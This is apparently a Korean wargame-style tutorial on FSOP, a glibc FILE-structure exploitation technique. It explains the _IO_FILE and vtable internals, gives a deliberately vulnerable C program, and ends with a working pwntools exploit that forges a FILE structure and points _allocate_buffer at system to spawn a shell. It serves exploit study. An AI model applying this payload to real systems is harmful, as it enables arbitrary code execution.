오늘은 FSOP에 대해 알아보려고 한다.
FSOP는 File Stream Oriented Programming 약어로 FILE 구조체를 이용한 공격 기법을 의미한다.
우선 들어가기에 앞서, _IO_FILE_plus 구조체와 _IO_FILE 구조체를 살펴보자. 해당 구조체들은 fread 함수와 같은 파일 작업을 수행할 때 필요한 정보들을 저장하고 있다.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
구조체는 위와 같이 생겼다. _IO_FILE_plus 안에는 FILE 구조체와 _IO_jump_t라는 vtable 포인터가 있다.
다음으로 _IO_FILE 구조체를 살펴보자.
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_FILE 구조체는 위와 같다. 다양한 멤버 변수들이 존재한다.
_flags 멤버 변수는 파일에 대한 권한을 의미하는 변수이다. 보통 0xfbad0000으로 한 번쯤 봤던 기억이 있다.
char* _IO_read_ptr ➡ 읽기 버퍼에 대한 포인터
char* _IO_read_end; ➡ 읽기 버퍼의 끝 주소를 담고 있다.
char* _IO_read_base; ➡ 읽기 버퍼의 시작 주소를 담고 있다.
char* _IO_write_base; ➡ 쓰기 버퍼의 시작 주소를 담고 있다.
char* _IO_write_ptr; ➡ 쓰기 버퍼에 대한 포인터
char* _IO_write_end; ➡ 쓰기 버퍼의 끝 주소를 담고 있다.
char* _IO_buf_base; ➡ 버퍼의 시작 주소
char* _IO_buf_end; ➡ 버퍼의 끝 주소
다음으로 vtable이 무엇인지 살펴보자. _IO_jump_t 구조체는 아래와 같이 생겼다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
저걸 어디에 어떻게 사용하는지 와닿지 않는다. 한 번 어떻게 사용하는지 코드를 통해 살펴보자!
# define fclose(fp) _IO_new_fclose (fp)
stdio.h 파일로 들어가보면, fclose 함수는 _IO_new_fclose 함수임을 알 수 있다.
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
해당 함수가 선언된 부분으로 들어가보면 맨 마지막에 _IO_FINISH 함수를 호출하는 것을 볼 수 있다. _IO_FINISH 함수를 따라가보자.
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
// Check JUMP1, call _IO_JUMPS_FUNC
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
// Check _IO_JUMPS_FUNC
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
// _IO_JUMPS_FILE_plus
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
// _IO_CAST_FIELD_ACCESS
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
_IO_FINISH 함수를 따라가다보면, 위와 같은 매크로들을 확인할 수 있다.
vtable을 통해 함수를 참조하므로, vtable을 변조하여 실행흐름을 바꿀 수 있다.
참고로 이번에 알아볼 기법은 libc2.29버전부터는 사용이 불가능하다.
예제를 통해 살펴보자. 코드는 아래와 같다!
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
아까 위의 분석 내용을 바탕으로 _IO_FINISH 함수 매크로를 따라가다 보면, IO_validate_vtable 함수를 호출하는 것을 볼 수 있었다. 해당 함수에서 vtable의 포인터 값이 유효한 지 체크하는 로직이 존재한다.
바로 확인해보자.🚀 해당 함수는 libioP.h에서 찾아볼 수 있다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
함수를 보면, section_length 변수에 __libc_IO_vtables 섹션의 크기를 구하고 있다.
이후 아래에서 vtable의 포인터와 __libc_IO_vtable 섹션의 시작 주소를 뺄셈하여, 오프셋(offset)을 구하고 해당 오프셋이 섹션의 크기(section_length)보다 크다면 섹션 안에 포함되어 있지않다고 판단하여 _IO_vtable_check 함수를 호출한다.(_IO_vtable_check 함수는 오류를 발생시킨다.)
따라서 __libc_IO_vtable 섹션에 존재하는 _IO_str_overflow 함수를 사용하여 공격을 수행해야한다.🧨
_IO_str_overflow는 __libc_IO_vtables 섹션에 존재하는 함수이다.
바로 코드를 살펴보자. _IO_str_overflow 함수는 strops.c에 선언되어있다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
_IO_str_overflow의 전체 코드는 위와 같다.
해당 코드에서 공격에 사용될 부분을 살펴보자.
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
해당 부분을 보면, new_size를 인자로 fp->_s._allocate_buffer를 호출하고 있다. fp->_s._allocate_buffer를 system 함수의 주소로, new_size 변수를 "/bin/sh"의 주소로 바꿔주면 Shell을 획득할 수 있을 것이다❗
우선 new_size 변수를 설정하는 부분부터 살펴보자.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
new_size 변수는 2 * old_blen + 100으로 설정된다. old_blen은 _IO_blen 매크로에 의해 설정되고, 해당 매크로를 보면, _IO_blen(fp)는 _IO_buf_end - _IO_buf_base를 통해 설정하고 있디.
즉, 2 * ( _IO_buf_end - _IO_buf_base ) + 100이 new_size의 값이다.
따라서 _IO_buf_base에는 0을, _IO_buf_end에는 "/bin/sh" 주소에 -100을 하고, 2로 나눈 값을 넣어주면 된다.
간단하게 표현하면 아래와 같다.
_IO_buf_base = 0
_IO_buf_end = ("/bin/sh"의 주소 - 100) * 2
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
해당 부분이다. 보통 flush_only값은 0으로 설정된다고 한다. _IO_blen은 아까 new_size 값을 설정하기 위해 ("/bin/sh"의 주소 - 100) * 2 값이 들어있을 것이다.
따라서 pos의 _IO_write_ptr - _IO_write_base이 ("/bin/sh"의 주소 - 100) 2 값보다 크면 조건을 만족하므로 _IO_write_base에는 0을, _IO_write_ptr에는 ("/bin/sh"의 주소 - 100) 2 값과 같거나 큰 값을 넣어주면 조건을 만족시킬 수 있다.
간단하게 표현해보면 아래와 같다.
_IO_write_base = 0
_IO_write_ptr = ("/bin/sh"의 주소 - 100) * 2
해당 바이너리에서 stdout의 주소를 출력하므로 바로 Libc의 베이스 주소를 구할 수 있다.
#!/usr/bin/env python3
# Name: bypass_valid_table.py
from pwn import *
p = process('./bypass_valid_vtable', env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')
context.log_level = 'debug'
print(p.recvuntil(b'stdout: '))
leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
print("[*] libc addr : ", hex(libc_base))
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x3) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
pause()
p.sendline(payload)
p.interactive()
💡 _lock 변수?
이유는 잘 모르겠지만, 쓰기 권한이 있는 주소를 넣어줘야한다고 한다.
디버깅하다가 봤는데 파일 관련 작업을 할 때, _lock의 주소를 찍어보니 0x0에서 0x1로 바뀐다. 이것 때문에 쓰기 권한이 필요한 주소에 넣어줘야하는 것 같다.
💡 fp->_s._allocate_buffer?
파일 구조체 _IO_FILE, vtable 포인터, 그 바로 뒤에 _allocate_buffer 변수가 존재한다. 따라서 exploit code에서 vtable 뒤에 p64(systme함수 주소)를 넣어준 것이다.
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
※ 참고
👉 https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
👉 https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
👉 https://dreamhack.io/lecture/courses/272
👉 https://dreamhack.io/forum/qna/812/
※ Download glibc2.27
👉 https://ftp.gnu.org/gnu/glibc/